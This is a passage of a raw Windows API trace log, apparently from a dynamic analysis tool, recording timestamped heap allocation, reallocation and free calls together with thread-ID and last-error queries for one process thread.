RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.055] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.055] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411288 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411288 | out: hHeap=0x2ad0000) returned 1 [0076.056] GetCurrentThreadId () returned 0x9b0 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374c0 | out: hHeap=0x2ad0000) returned 1 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4c) returned 0x3029db0 [0076.056] GetCurrentThreadId () returned 0x9b0 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3029db0 | out: hHeap=0x2ad0000) returned 1 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x31838a0 [0076.056] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x3183b80 [0076.056] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31838a0 | out: hHeap=0x2ad0000) returned 1 [0076.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84db8 [0076.057] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84db8, Size=0x20) returned 0x3028350 [0076.057] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3e3) returned 0x3411288 [0076.057] GetCurrentThreadId () returned 0x9b0 [0076.057] GetLastError () returned 0x0 [0076.057] GetCurrentThreadId () returned 0x9b0 [0076.057] GetLastError () returned 0x0 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34ad400 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0076.057] GetCurrentThreadId () returned 0x9b0 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cf8 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f38 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84da0 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f68 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a10 | out: hHeap=0x2ad0000) returned 1 [0076.057] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ba8 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c80 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183940 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d88 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84aa0 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a28 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a40 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b00 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b78 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b60 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b30 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b60 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ce0 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ae8 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c98 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cc8 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b18 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3183b40 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c50 | out: hHeap=0x2ad0000) returned 1 [0076.058] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84b48 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a88 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84cb0 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84bd8 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c38 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84a58 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84ad0 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84c20 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19250 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d28 | out: hHeap=0x2ad0000) returned 1 [0076.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84cf8 [0076.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e78 [0076.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3410200 | out: hHeap=0x2ad0000) returned 1 [0076.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.059] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.059] GetCurrentThreadId () returned 0x9b0 [0076.059] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.060] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3411678, Size=0x941) returned 0x3411678 [0076.060] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3411678, Size=0xf9a) returned 0x33f6e00 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6e00 | out: hHeap=0x2ad0000) returned 1 [0076.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.060] GetCurrentThreadId () returned 0x9b0 [0076.060] GetLastError () returned 0x0 [0076.060] GetLastError () returned 0x0 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.060] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.060] GetCurrentThreadId () returned 0x9b0 [0076.060] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.061] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e78, Size=0x10) returned 0x2c84f50 [0076.061] GetCurrentThreadId () returned 0x9b0 [0076.061] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84cf8, Size=0x10) returned 0x2c84ec0 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7c8 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7f8 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.061] GetCurrentThreadId () returned 0x9b0 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84db8 [0076.061] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.061] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f50, Size=0x10) returned 0x2c84e48 [0076.061] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84dd0 [0076.062] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ec0, Size=0x10) returned 0x2c84d58 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.062] GetCurrentThreadId () returned 0x9b0 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84db8 | out: hHeap=0x2ad0000) returned 1 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de7f8 [0076.062] GetCurrentThreadId () returned 0x9b0 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.062] GetCurrentThreadId () returned 0x9b0 [0076.062] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f80 [0076.062] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.062] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84e48, Size=0x10) returned 0x2c84fc8 [0076.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f50 [0076.063] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84d58, Size=0x10) returned 0x2c84de8 [0076.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.063] GetCurrentThreadId () returned 0x9b0 [0076.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.063] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.063] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f80 | out: hHeap=0x2ad0000) returned 1 [0076.064] GetCurrentThreadId () returned 0x9b0 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.064] GetCurrentThreadId () returned 0x9b0 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6b8 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de7c8 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6b8 | out: hHeap=0x2ad0000) returned 1 [0076.064] GetCurrentThreadId () returned 0x9b0 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de818 [0076.064] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7c8 | out: hHeap=0x2ad0000) returned 1 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0076.064] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0076.065] GetCurrentThreadId () returned 0x9b0 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84fe0 [0076.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.065] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84fc8, Size=0x10) returned 0x2c84ef0 [0076.065] GetCurrentThreadId () returned 0x9b0 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84ec0 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84f38 [0076.065] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84de8, Size=0x10) returned 0x2c84f20 [0076.065] GetCurrentThreadId () returned 0x9b0 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.065] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.065] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.066] GetCurrentThreadId () returned 0x9b0 [0076.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84e00 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de7f8 | out: hHeap=0x2ad0000) returned 1 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84fe0 | out: hHeap=0x2ad0000) returned 1 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ef0, Size=0x10) returned 0x2c84ed8 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f20, Size=0x10) returned 0x2c84f98 [0076.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84e00 | out: hHeap=0x2ad0000) returned 1 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84ed8, Size=0x10) returned 0x2c84f50 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f98, Size=0x10) returned 0x2c84f80 [0076.066] GetCurrentThreadId () returned 0x9b0 [0076.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de728 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f50, Size=0x10) returned 0x2c84da0 [0076.066] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c84f80, Size=0x10) returned 0x2c84fc8 [0076.066] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.066] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.067] GetCurrentThreadId () returned 0x9b0 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de818 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de728 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de818 | out: hHeap=0x2ad0000) returned 1 [0076.067] GetCurrentThreadId () returned 0x9b0 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de738 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de728 | out: hHeap=0x2ad0000) returned 1 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84f50 [0076.067] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de738 | out: hHeap=0x2ad0000) returned 1 [0076.067] GetCurrentThreadId () returned 0x9b0 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84d10 [0076.067] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.068] GetCurrentThreadId () returned 0x9b0 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de788 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84f50 | out: hHeap=0x2ad0000) returned 1 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de6b8 [0076.068] GetCurrentThreadId () returned 0x9b0 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de788 | out: hHeap=0x2ad0000) returned 1 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2c84d58 [0076.068] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0076.068] GetCurrentThreadId () returned 0x9b0 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c84e60 [0076.068] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x428) returned 0x3411678 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3411678 | out: hHeap=0x2ad0000) returned 1 [0076.069] GetCurrentThreadId () returned 0x9b0 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c84d58 | out: hHeap=0x2ad0000) returned 1 [0076.069] GetCurrentThreadId () returned 0x9b0 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de6a8 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de698 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de6a8 | out: hHeap=0x2ad0000) returned 1 [0076.069] GetCurrentThreadId () returned 0x9b0 [0076.069] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de758 [0076.069] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de698 | out: hHeap=0x2ad0000) returned 1 [0076.070] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33de778 [0076.070] HeapFree (in: 